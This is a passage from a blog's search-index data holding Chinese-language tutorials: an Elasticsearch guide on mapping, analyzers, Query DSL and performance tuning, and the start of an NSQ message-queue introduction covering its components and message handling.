","date":"2018-07-29","objectID":"/es-guide/:2:3","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Mapping parameters(映射参数) 设置 mapping 时的各种参数及其含义: ","date":"2018-07-29","objectID":"/es-guide/:2:4","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Dynamic templates(动态模板) 应用于动态添加字段时设置自定义 mapping 映射,通过在模板中设置匹配及映射的规则,匹配命中则会被设置为对应的 mapping ,匹配参数设置如下: Mapping 的设置其实是一个不断循环改进的过程,同时其与具体业务又有着密切的联系。理解了 Mapping 更有助于理解数据在 ES 中的搜索行为表现。 在 ES 中,全文搜索与 Analysis 部分密不可分。我们为什么能够通过一个简单的词条就搜索到整个文本?因为 Analyzer 分析器的存在,其作用简而言之就是把整个文本按照某个规则拆分成一个一个独立的字或词,然后基于此建立倒排索引。 ","date":"2018-07-29","objectID":"/es-guide/:2:5","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"三、Analyzer Analyzer(分析器)的作用前文已经说过了:拆分文本。 每一个 Analyzer 都由三个基础等级的构建块组成: Character filters Tokenizer Token filters 1、Character filters :接受原始输入文本,将其转换为字符流并按照指定规则基于字符进行增删改操作,最后输出字符流。 2、Tokenizer :接受字符流作为输入,将其按照指定规则拆分为单独的 tokens( 这里的 token 就是我们通常理解的字或者词 ),最后输出 tokens 流。 3、Token filters :接受 tokens 流作为输入,按照指定规则基于 token 进行增删改操作,最后的输出也是 tokens 流。 一个完整的包含以上三个部分的分析流程如下图所示: 注意:并不是每一个 Analyzer 分析器都需要同时具备以上三种基础构建块。 一个 Analyzer 分析器的组成有: 零个或多个 Character filters 必须且只能有一个 Tokenizer 零个或多个 Token filters ","date":"2018-07-29","objectID":"/es-guide/:3:0","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Character filter Character filter 的作用就是对字符进行处理,比如移除 HTML 中的元素如 ,指定某个具体的字符进行替换 abc =\u003e 123 ,或者使用正则的方式替换掉匹配的部分。 ES 内置了以下三种 Character filters : ","date":"2018-07-29","objectID":"/es-guide/:3:1","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Tokenizer Tokenizer 的作用就是按照某个规则将文本字符流拆分成独立的 token(字词)。 word、letter、character 的区别: word:我们通常理解的字或者词。 letter:指英语里的那 26 个字母。 character:指 letter 加上其它各种标点符号。 token 和 term 的区别(参考Lucene): token:在文本分词的过程中产生的对象,其不仅包含了分词对象的词语内容,还包含了其在文本中的开始和结束位置,以及这个词语的类型(是关键词还是停用词之类的)。 term:指文本中的某一个词语内容,以及其所在的 field 域。 然而,在某些语境下,其实 token 和 term 更关注的仅仅只是词语内容本身。 ES 内置了十五种 Tokenizer ,并划分为三类: 1、面向字词: 2、以字词的某部分为粒度: 3、结构化文本: ","date":"2018-07-29","objectID":"/es-guide/:3:2","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Token Filter Token Filter 的作用就是把 Tokenizer 处理完生成的 token 流进行增删改再处理。 ES 内置的 token filter 数量多达四五十种: 上图只是简单罗列说明,此处不进行展开说明,更多细节还是查阅官方文档好了。 ","date":"2018-07-29","objectID":"/es-guide/:3:3","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Analyzer ES 内置了以下 Analyzer : 可以看到每一个 Analyzer 都紧紧围绕 Character filters 、Tokenizer、Token filters 三个部分。 同样,只要选择并组合自己需要的以上这三个基本部分就可以简单的进行自定义 Analyzer 分析器了。 本节简单介绍了与全文搜索密切相关的【分析】这一重要部分,而如何进行实际的分析器设置则与 Mapping 相关联,另外除了 ES 内置的之外,还有很多开源的分析器同样值得使用,比如中文分词,使用较多的就是 IK 分词。 ","date":"2018-07-29","objectID":"/es-guide/:3:4","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"四、Query DSL 对于 ES,当我们了解了 mapping 和 analysis 的相关内容之后,使用者更关心的问题往往是如何构建查询语句从而搜索到自己想要的数据。因此,本节将会介绍 Query DSL 的相关内容。 Query DSL 是什么? Query Domain Specific Language ,特定领域查询语言。首先它的作用是查询,其次其语法格式只能作用于 ES 中,所以就成了所谓的特定领域。 Query DSL 可分为两种类型: Leaf query clauses 简单查询子句,查询特定 field 字段中的特定值。 Compound query clauses 复合查询子句,由多个简单查询子句或复合查询子句以逻辑方式组合而成。 ","date":"2018-07-29","objectID":"/es-guide/:4:0","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Query and filter context 查询语句的行为依赖于其上下文环境是 query context 还是 filter context 。 Filter context : 某个 document 文档是否匹配查询语句,答案只有是和否。对于 filter 查询 ES 会自动进行缓存处理,因此查询效率非常高,应尽可能多的使用。 Query context : 除了文档是否匹配之外,还会计算其匹配程度,以 _score 表示。例如某个文档被 analyzer 解析成了十个 terms,而查询语句匹配了其中的七个 terms,那么匹配程度 _score 就是 0.7 。 ","date":"2018-07-29","objectID":"/es-guide/:4:1","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Match All Query 最简单的查询。 match_all : 匹配所有文档。 match_none : 不匹配任何文档。 ","date":"2018-07-29","objectID":"/es-guide/:4:2","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Full text queries 全文查询,在执行之前会先分析进行查询的字符串,而查询的行为也与 analyzer 息息相关。 位于这一组内的查询包括: match 全文查询中的标准查询,包括模糊匹配和短语或邻近查询。 match_phrase 类似于 match ,但用于匹配精确短语或单词邻近匹配。 match_phrase_prefix 类似于 match_phrase,但是进行单词尾部通配符搜索。 multi_match match 的 multi-fields 多字段版本。 common terms 优先考虑不常见单词的更专业的查询。例如英文中的 the 是一个常见的高频单词,若直接查询会匹配到大量文档且浪费性能,但是某些时候又无法直接将其忽略,这时候就用到了 common terms query ,其原理是先匹配低频单词,然后在此匹配结果上再去匹配 the 这种高频单词。 query_string 支持 Lucene 查询字符串语法,对 Lucene 比较熟悉的可以玩玩,但一般不需要用到。 simple_query_string query_string 的简易版本。 ","date":"2018-07-29","objectID":"/es-guide/:4:3","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Term level queries term 是倒排索引中的基本单元,term-level 级别的查询也是直接操作精确的存储在倒排索引上的 terms 。通常用于结构化数据查询,如数字、日期、枚举,而不是全文字段。 查询包括: term 精确匹配某个 term 。 terms 匹配多个 terms 中的任意一个。 terms_set 版本 6.1 才加入的查询。匹配一个或多个 terms,minimum should match 指定至少需要匹配的个数。 range 范围查询。 exists 存在与否。判断依据是 non-null 非空值。若要查询不存在,则可以使用 must_not 加 exists 。 prefix 字段头部确定,尾部模糊匹配。 wildcard 通配符模糊匹配。符号 ?匹配一个字符,符号 * 匹配任意字符。 regexp 正则匹配。 fuzzy 模糊相似。模糊度是以 Levenshtein edit distance 来衡量,可以理解为为了使两个字符串相等需要更改的字符的数量。 type 指定 type 。 ids 指定 type 和文档 ids 。 ","date":"2018-07-29","objectID":"/es-guide/:4:4","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Compound queries 复合查询由其它复合查询或简单查询组成,其要么组合他们的查询结果和匹配分数,更改查询行为,要么从 query 切换到 filter context 。 查询包括: constant_score 包裹 query 查询,但在 filter context 中执行,所有匹配到的文档都被给与一个相同的 _score 分数。 bool 组合多个查询,如 must 、should、must_not、filter 语句。must 和 should 有 scores 分数的整合,越匹配分数越高,must_not 和 filter 子句执行于 filter context 中。 dis_max 匹配多个查询子句中的任意一个,与 bool 从所有匹配的查询中整合匹配分数不同的是,dis_max 只会选取一个最匹配的查询中的分数。 function_score 使用特定函数修改主查询返回的匹配分数。 boosting 匹配正相关的查询,同时降低负相关查询的匹配分数。 ","date":"2018-07-29","objectID":"/es-guide/:4:5","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Joining queries 在 ES 这种分布式系统中执行完整 SQL 风格的 join 连接的代价是非常昂贵的,而作为替代并有利于水平扩展 ES 提供了以下两种方式: nested 针对包含有 nested 类型的 fields 字段的文档,这些 nested 字段被用于索引对象数组,而其中的每个对象都可以被当做一个独立的文档以供查询。 has_child、has_parent join 连接关系可能存在于同一个索引中不同 document 文档之间。 has_child 查询返回 child 子文档匹配的 parent 父文档。 has_parent 查询返回 parent 父文档匹配的 child 子文档。 parent Id 直接指定父文档的 ID 进行查询。 ","date":"2018-07-29","objectID":"/es-guide/:4:6","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Geo queries ES 提供了两种类型的 geo 地理数据: geo_point:lat / lon 纬度/经度对。 geo_shape:地理区间,包括 points 点组、lines 线、circles 圆形区域、polygons 多边形区域、multi-polygons 复合多边形区域。 查询包括: geo_shape 查询指定的地理区间。要么相交、要么包含、要么不相交。查的是 geo_shape 。 geo_bounding_box 查询指定矩形地理区间内的坐标点。查的是 geo_points 。 geo_distance 查询距离某个中心点指定范围内点,也就是一个圆形区间。查的是 geo_points 。 geo_polygon 查询指定多边形区间内的点。查的是 geo_points 。 ","date":"2018-07-29","objectID":"/es-guide/:4:7","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Specialized queries 未包含于其它查询组内的查询: more_like_this 相似于指定的 text 文本、document 文档、或 documents 文档集。 这里的相似,不仅仅是指 term 的具体内容,同时也要考量其位置因素。查询字段必须先存储 term_vector 也就是 term 向量。 script 接受一个 script 作为一个 filter 。 percolate 通常情况下,我们通过 query 语句去查询具体的文档,但是 percolate 正好相反,它是通过文档去查询 query 语句( query 必须先注册到 percolate 中)。 percolate 一般常用于数据分类、数据路由、事件监控和预警。 wrapper 接受 json 或 yaml 字符串进行查询,需要 base64 编码。 ","date":"2018-07-29","objectID":"/es-guide/:4:8","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Span queries 更加底层的查询,对 term 的顺序和接近度有更加严格的要求,常用于法律或专利文件等。 除了 span_multi 之外,其它的 span 查询不能与非 span 查询混合使用。 此类所有查询在 Lucene 中都有对应的查询。 span_term 与 term query 相同,但用于其它 span queries 中,因为不能混合使用的原因才有的这个 span 环境特定的查询。 span_multi 包裹 term、range、prefix、wildcard、regexp、fuzzy 查询,以在 span 环境下使用。对应于 Lucene 中的 SpanTermQuery 。 span_first 相对于起始位置的偏移距离。对应于 Lucene 中的 SpanFirstQuery 。 span_near 匹配必须在多个 span_term 的指定距离内,通常用于检索某些相邻的单词。对应于 Lucene 中的 SpanNearQuery 。 span_or 匹配多个 span queries 中的任意一个。对应于 Lucene 中的 SpanOrQuery 。 span_not 不匹配,也就是排除。对应于 Lucene 中的 SpanNotQuery 。 span_containing 指定多个 span queries 中的匹配优先级。对应于 Lucene 中的 SpanContainingQuery 。 span_within 与 span_containing 类似,但对应于 Lucene 中的 SpanWithinQuery 。 field_masking_span 对不同的 fields 字段执行 span-near 或 span-or 查询。 Query DSL 部分的内容大概就是这么多,本文只是让你对于查询部分有一个整体的大概的印象,至于某个具体查询的详细细节还请查阅官方文档。 ","date":"2018-07-29","objectID":"/es-guide/:4:9","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"五、优化 ES 的默认配置已经提供了良好的开箱即用的体验,但是仍有一些优化手段去继续提升它的使用性能。 ","date":"2018-07-29","objectID":"/es-guide/:5:0","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"General recommendations 通用建议。 Don’t return large result sets 不要返回大量的结果集。ES 是一个搜索引擎,擅长于返回匹配度较高的几个文档(默认 10 个,取决于 size 参数),而不擅长于数据库领域的工作,例如返回一个查询条件匹配的所有文档,如果你一定要实现这个功能,建议使用 scroll API。 这个问题其实是与深度分页相关联的,ES 中的配置项 index.max_result_window 默认是 10000 ,这就是说最多只支持返回前一万条数据,如果想返回更多的数据,一方面可以增大此配置项,另一方面就是使用 scroll API ,scroll API 的原理就是记录上一次的结果标记,基于此标记再继续往下查询。 Avoid large documents 避免大文档。配置项 http.max_content_length 默认是 100 MB,ES 将会拒绝索引超过此大小的文档,你也可以提高这项配置,但是最大不得超过 2 GB,因为 Lucene 的限制为 2 GB。 大文档会给网络、内存、磁盘、文件系统缓存等带来更大的压力。 为了解决这个问题,我们需要重新考虑信息的基本单元,例如想要去索引一本书的内容,这并不意味着我们要把整本书都塞进一个文档中去,按照章节或者段落去划分文档显然是更好的选择。 ","date":"2018-07-29","objectID":"/es-guide/:5:1","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Recipes 解决一些常见问题的方式。 Mixing exact search with stemming 精确搜索混合词干搜索。 在英文场景下,词干搜索如 skiing 将会匹配包含有 ski 或 skis 的文档,但是如果用户想要实现 skiing 的精确匹配呢?最典型的解决方法就是将同样的内容索引为 multi-field 多个不同的字段,这样就能在不同的字段上分别使用词干搜索和精确搜索了。 除此之外,query_string 和 simple_query_string 的 quote_field_suffix 也可以解决这种问题。 Getting consistent scoring 1、Scores are not reproducible 即使同样的查询同时执行两次,文档的匹配分数也并不一致。这是因为副本存在的原因,副本的配置项是 index.number_of_replicas ,ES 进行查询时会以 round-robin 的方式轮询到不同的 shard 分片,而删除或更新文档时(在 ES 中,更新分为两步,第一步标记旧文档为删除,第二步写入新文档),旧文档并不会立刻被删除,而是等待下一个 refresh 周期此文档从属的 segment (shard 分片会被分割为多个 segment)被合并,有时候主分片刚刚完成合并操作并移除了大量标记为删除的文档,而从分片还未来得及同步此项操作,这就导致了主从索引统计信息的不同,也就影响到了匹配分数的不同。 解决方法是在查询时使用 preference 参数,此参数决定了将查询路由到哪个分片中去执行,只要 preference 一致则一定会使用相同的分片。例如你可以使用用户ID 或者 session id 作为 preference ,这样就能保证同一个用户或者同一个会话查询的一致性。 2、Relevancy looks wrong 如果你注意到两个相同内容文档的分数不同或者精确匹配的未排序在第一位,这也可能与分片有关。默认情况下,每个分片各自评分,文档也会被均匀的路由到不同的分片中,分片中的索引统计信息也会是相似的,评分将按照预期工作,但是如果你进行了下列操作之一,那么很有可能搜索请求涉及到的分片没有类似的索引统计信息,相关性可能很差: use routing at index time (索引时自定义路由规则导致分片不均匀) query multiple indices (查询跨越了多个索引) have too little data in your index (数据量少得可怜) 如果你的数据集很小,那么最简单的方法就是只使用一个分片( index.number_of_shards : 1 )。 其余情况建议的方式是使用 dfs_query_then_fetch 搜索类型,这种方式将会查询所有关联分片的索引统计信息然后合并,这样评分时使用的就是全局的索引统计信息而不是某个分片的,显然这样增加了额外的成本,然而大多数情况下,这些额外成本是很低廉的,但是如果查询中包含有大量的 fields/terms 或 fuzzy 模糊查询,增加的额外成本可能并不低。 ","date":"2018-07-29","objectID":"/es-guide/:5:2","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Tune for indexing speed 加速构建索引。 Use bulk requests 尽量使用 bulk 请求。 Use multiple workers/threads to send data to ES 其实就是提高客户端的并发数。 Increase the refresh interval 配置项 index.refresh_interval 默认是 1s ,这个时间指的是创建新 segment 合并旧 segment 的周期,增加此间隔时间有助于减轻 segment 合并的压力。 Disable refresh and replicas for initial loads 禁用 refresh 和备份可以提升不少的索引构建速度,但是正常情况下 refresh 和备份都是必须的,所以一般只在初始化导入数据如重建索引等特殊情况才使用。配置项为 index.refresh_interval : -1 和 index_number_of_repicas : 0 。 Disable swapping 禁用宿主机操作系统的 swap 。 Give memory to the filesystem cache 将宿主机至少一半的内存分配给 filesystem cache 文件系统缓存。 Use auto-generated ids 使用用户自定义的文档 id ,ES 将会检查其是否冲突,而使用 ES 自动生成的 id 则会跳过此步骤。 Use faster hardware 使用更好的硬件。 Indexing buffer size 确保 indices.memory.index_buffer_size 足够大,能为每个分片提供最大 512 MB 的索引缓冲区,超过这个值也不会有更高的性能。默认是 10%,即 JVM 有 10 GB 内存,那么 1 GB 将会用于索引缓存。 Disable _field_names 在 mapping 设置中禁用 _field_names ,但会导致 exists 查询无法使用。 Additional optimizations 其余一些额外的优化项与下文中的 Tune for disk usage 优化磁盘使用相关联。 ","date":"2018-07-29","objectID":"/es-guide/:5:3","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Tune for search speed 加速搜索。 Give memory to the filesystem cache 给 filesystem cache 分配更多内存。 Use faster hardware 使用更好的硬件。 Document modeling 文档模块化,避免 join 操作,nested 和 parent-child 关联查询都会比较慢。 Search as few fields as possible 在 query_string 和 multi-match 查询中,fields 越多查询越慢。你可以新增一个联合字段,在 mapping 中设置 copy_to 将多个 fields 字段自动复制到这个联合 field 字段中,这样就能把多字段查询变为单字段查询。 Pre-index data 预索引数据。在进行 range aggregation 范围聚合查询时,我们可以新增一个字段以在索引时标记其范围,这样 range aggregation 就变成了 term aggregation 。例如,要查询 price 在 10-100 范围内的文档数据,那么可以在构建索引时新增一个 price_range 字段标记此文档为 10-100 ,这样就可以直接根据 price_range 进行查询了。 Consider mapping identifiers as keyword 数字不一定要映射为数字类型字段,也可以是 keyword ,索引数字类型对于 range 查询进行了优化,而 keyword 在 term 查询时更有利。 Avoid scripts 避免使用 scripts,如果一定要用,优先使用 painless 和 expressions 引擎。 Search rounded dates 放宽日期类型的精度,由于 now 是实时变动的,因此无法缓存,而如果使用诸如 now-1h/m ,这是可以进行缓存的,相应的精度也就成了一分钟。 Force-merge read-only indices 强制合并只读索引为单一的 segment 更有利于搜索。使用场景常常是例如基于时间的索引,历史日期的数据不再改变,因此是只读的,而对于存在写入操作的索引不得进行此项操作。 Warm up global ordinals Global ordinals 是一种数据结构,用于 keyword 字段上进行 terms aggregations,可以在 mapping 中设置 eager_global_ordinals : true 提前告诉 ES 这个字段将会用于聚合查询。 Warm up the filesystem cache ES 重启后,filesystem cache 是空的,可以通过 index.store.preload 提前导入指定文件到内存中进行预热,但是如果文件系统缓存不够大,将会导致所有数据被 hold 住,一定要小心使用。 Use index sorting to speed up conjunctions 使用 index sorting 索引排序可以使连接更快(组织 Lucene 文档 id,使连接如 a AND b AND … 更高效),但代价是构建索引将变慢。 Use preference to optimize cache utilization 缓存包括 filesystem cache、request cache、query cache 等都是基于 node 节点的,使用 preference 更够将同样的请求路由到同样的分片也就是同一个节点上,这样能够更好的利用缓存。 replicas might help with throughput, but not always 备份也会参与查询,这有助于提高吞吐量,但并非总是如此。 如何设置备份的数量?假设集群中有 num_nodes 个节点,num_primaries 个主分片,一次最多允许 max_failures 个节点故障,那么备份的数量应该设置为 max( max_failures, ceil( num_nodes/num_primaries ) - 1 ) Turn on adaptive replica selection 开启动态副本选择,ES 将会基于副本的状态动态选择以处理请求。 PUT /_cluster/settings { \"transient\": { \"cluster.routing.use_adaptive_replica_selection\": true } } ","date":"2018-07-29","objectID":"/es-guide/:5:4","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Elasticsearch"],"content":"Tune for disk usage 优化磁盘使用。 Disable the features you do not need 不需要构建倒排索引的字段不建索引,index: false。 text 类型字段不需要评分的可以不写入 norms,norms: false (norms 是评分因子)。text 类型字段默认也会存储频率和位置信息,频率计算分数,位置用于短语查询,不需要短语查询可以不存储位置信息,index_options: freqs ,不关心评分可以设置 index_options: freqs 的同时设置 norms: false 。 Don’t use default dynamic string mappings 默认的动态字符串映射会将 string 字段同时索引为 text 和 keyword ,这造成了空间的浪费,明确使用其中一个即可。 Watch your shard size shard 分片越大,则存储数据越高效,缺点就是恢复需要的时间更久。 Disable _all 禁用 _all ,此字段索引了所有的字段, v6.0.0 版本已经将其移除。 Disable _source 禁用 _source ,此字段存储了原始的 json 文档数据,虽然禁用可以节省磁盘空间,但是我个人并不建议这么做,因为禁用后将无法获取到此字段的内容,如 update 和 reindex 等 API 都将无法使用。 Use best_compression 通过 index.codec 设置压缩方式为 best_compression 。 Force merge 每个 shard 分片有多个 segments,segment 越大存储数据越高效。可以通过 _forcemerge API 减少每个分片的 segments 数量,通过 max_num_segments = 1 即可设置每个分片一个 segment 。 Shrink index 可以通过 shrink API 减少 shard 分片的数量,可以与 _forcemerge API 一起使用。 Use the smallest numeric type that is sufficient 使用合适的数字类型,数字类型越小占用磁盘空间越少。 Use index sorting to colocate similar documents 默认情况下,文档按照添加到索引的顺序进行压缩,如果启用了 index sorting 则按照索引排序顺序进行压缩,对具有相似结构、字段和值的文档进行排序可以提高压缩效率。 Put fields in the same order in documents 压缩是将多个文档压缩成块,如果字段始终以相同的顺序出现,则更有可能在这些 _source 文档中找到更长的重复字符串,从而压缩效率更高。 其实从实际情况来看,磁盘的成本往往是比较低廉的,我们常常更关注的是搜索和索引性能的提升。了解优化相关的部分内容有助于我们更好的理解和使用 ES。 ","date":"2018-07-29","objectID":"/es-guide/:5:5","tags":["Elasticsearch"],"title":"Elasticsearch 入门指南","uri":"/es-guide/"},{"categories":["Middleware"],"content":"消息队列 NSQ 入门指南","date":"2018-07-08","objectID":"/nsq/","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"一 NSQ 是什么?使用 go 语言开发的一款开源的消息队列,具有轻量级、高性能的特点。 ","date":"2018-07-08","objectID":"/nsq/:0:0","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"概述 NSQ 组件: 1、nsqd:接受、排队、传递消息的守护进程,消息队列中的核心。 2、nsqlookupd:管理拓扑信息,其实就是围绕 nsqd 的发现服务,因为其存储了 nsqd 节点的注册信息,所以通过它就可以查询到指定 topic 主题的 nsqd 节点。 3、nsqadmin:一套封装好的 WEB UI ,可以看到各种统计数据并进行管理操作。 4、utilities:封装好的一些简单的工具(实际开发中用的不多)。 如下图所示: 1、生产者 producer 将消息投递到指定的 nsqd 中指定的 topic 主题。 2、nsqd 可以有多个 topic 主题,一旦其接受到消息,将会把消息广播到所有与这个 topic 相连的 channel 队列中。 3、channel 队列接收到消息则会以负载均衡的方式随机的将消息传递到与其连接的所有 consumer 消费者中的某一个。 注意:生产者关注的是 topic,消费者关注的是 channel。消息是存在 channel 队列中的,其会一直保存消息直到有消费者将消息消费掉,同时 channel 队列一旦创建其本身也不会自动消失,另外消息默认是存在内存中的,一旦超过内存大小(可通过 –mem-queue-size 配置)则会被存储到磁盘上。 再看下图: 通过 nsqadmin 可以看到整个集群的统计信息并进行管理,多个 nsqd 节点组成集群并将其基本信息注册到 nsqlookupd 中,通过 nsqlookupd 可以寻址到具体的 nsqd 节点,而不论是消息的生产者还是消费者,其本质上都是与 nsqd 进行通信(如第一张图所示)。 ","date":"2018-07-08","objectID":"/nsq/:1:0","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"其它 1、默认情况下消息不会被持久化到磁盘,只有当超出内存限制时才会将部分消息写入磁盘,但只要设置 –mem-queue-size=0 就可以将所有消息都持久化到磁盘。 2、NSQ 保证消息至少被传递一次,但也有可能极端情况下会被传递多次,消费者需要额外注意这一点。 3、消息是无序的。 4、官方建议将 nsqd 与消息的生产者部署到一起,这种模式将消息流构建为消费问题而不是生产问题,这种模式更加简单但非强制。 5、nsqlookupd 并非一定要使用,但在集群模式下建议使用,官方建议每个数据中心部署至少三个 nsqlookupd 就可以应对成百上千的集群节点(每个nsqlookupd 中间是相互独立的,保证其高可用)。 6、topic 和 channel 没有内置的限制,但其会受限于宿主机的CPU和内存性能。 7、nsq 没有复杂的路由,没有 replication 副本备份。 总而言之,NSQ 高效轻量、简单、易于分布式扩展。另外有赞团队自己改造了一版 NSQ 并开源了出来( https://github.com/youzan/nsq ),视频:https://www.youtube.com/watch?v=GCOvuCKe5zA ,感兴趣的也可以了解下。 二 ","date":"2018-07-08","objectID":"/nsq/:2:0","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"信息流 任何一个消息队列的信息流都可以抽象为: 生产者 \u003e\u003e MQ \u003e\u003e 消费者 NSQ 也不例外,如下图所示: nsqd 是接受、排队、传递消息的守护进程,消息队列中的核心。 ","date":"2018-07-08","objectID":"/nsq/:3:0","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"producer » nsqd 生产者包装消息,将消息传递到 nsqd 中指定的 topic 。在 NSQ 中这一个步骤相当简单,通过 HTTP 接口就能完成: 发送消息必须指定 topic ,而 topic 的作用其实就是对消息进行逻辑上的分区。 接口 /pub 用来发送单条消息,其中的 defer 参数用来指定 NSQ 在接收到消息后延时多久再投递给消费者,例如订单规定时间内未支付则进行回收等场景就可以用到延时队列。接口 /mpub 用来一次发送多条消息。 相关配置 -max-msg-size : 单条消息的大小上限,默认 1048576 byte 即 1 M。 ","date":"2018-07-08","objectID":"/nsq/:3:1","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"nsqd: topic » channel 上面已经说过,topic 只是用来将消息进行逻辑划分,channel 才是真正存放消息的地方,而 nsqd 在接受到消息后,会将消息复制给所有与这个 topic 相连的 channel 并存放。 ","date":"2018-07-08","objectID":"/nsq/:3:2","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"nsqd » consumer 如上图所示,topic 的消息会被广播到所有与之相连的 channel ,但是同一个 channel 只会以负载均衡的方式把消息投递到与之相连的其中一个 consumer 消费者。 相关配置 max-in-flight : 一个 consumer 一次最多处理的消息数量,默认为一条。 ","date":"2018-07-08","objectID":"/nsq/:3:3","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"消息处理 在实际情况下,nsqd 与 consumer 之间的消息处理并没有那么简单。 先来看看详细的过程: 如上图所示,consumer 需要先连接到 nsqd,并且订阅指定的 topic 和 channel ,在一切准备就绪之后发送 RDY 状态表示可以接受消息,并指明一次可以处理的最大消息数量 max-in-flight 为 2 ,随后 nsqd 向 consumer 投递消息,consumer 消费者在接受到消息后进行业务处理,并且需要向 nsqd 响应 FIN(消息处理成功)或者 REQ( re-queue 重新排队),投递完成但未响应的这段时间内的消息状态为 in-flight 。 配置项 -max-rdy-count :每个 nsqd 最多可以接受的 RDY 即消费者的数量,超出范围则连接将被强制关闭,默认 2500 。 ","date":"2018-07-08","objectID":"/nsq/:4:0","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"REQ 对于 REQ 响应,nsq 会将其重新加入到队列中等待下一次再投递( re-queue ),客户端可以指定 requeue 的 delay 延时,即重新排队并延时一段时间之后再重新投递消息,延时的时间不得超过配置项 -max-req-timeout 。 ","date":"2018-07-08","objectID":"/nsq/:4:1","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"Timeout 每一条消息都必须在一定时间内向 nsq 做出响应,否则 nsq 会认为这条消息超时,然后 requeue 处理。 配置项 -msg-timeout :单条消息的超时时间,默认一分钟,即消息投递后一分钟内未收到响应,则 nsq 会将这条消息 requeue 处理。 配置值 -max-msg-timeout :nsqd 全局设置的最大超时时间,默认 15 分钟。 超时的判定时长将取决于以上两个配置的最小值。 ","date":"2018-07-08","objectID":"/nsq/:4:2","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"Touch 有时候 consumer 需要更长的时间来对消息进行处理,而不想被 nsq 判定超时然后 requeue ,这时候就可以主动向 nsq 响应 Touch ,表示消息是正常处理的,但是需要更长时间,nsq 接受到 Touch 响应后就会刷新这条消息的超时时间。需要注意的是,我们并不能一直 Touch 到永远,其仍受制于配置项 -max-msg-timeout ,超出最大时长了 Touch 也没用,nsq 仍然会判定为超时并 requeue 。 ","date":"2018-07-08","objectID":"/nsq/:4:3","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"Backoff 有时候 consumer 处理消息面临很大的压力,随时有崩溃的风险,这种情况下可以主动向 nsq 发送 RDY 0 实现 backoff ,换句话说就是消费端暂停接受等多消息,以减轻自身压力避免崩溃,等到有更多处理能力时再取消暂停状态慢慢接收更多消息。当然进入 backoff 然后慢慢恢复是一个需要动态调节的过程。 事实上加快消息的处理才是我们需要关注的重中之重。 ","date":"2018-07-08","objectID":"/nsq/:4:4","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"其它 ","date":"2018-07-08","objectID":"/nsq/:5:0","tags":["MQ","NSQ"],"title":"消息队列 NSQ 入门指南","uri":"/nsq/"},{"categories":["Middleware"],"content":"nsqlookupd nsqlookupd 提供服务发现的功能,用来寻址特定主题的 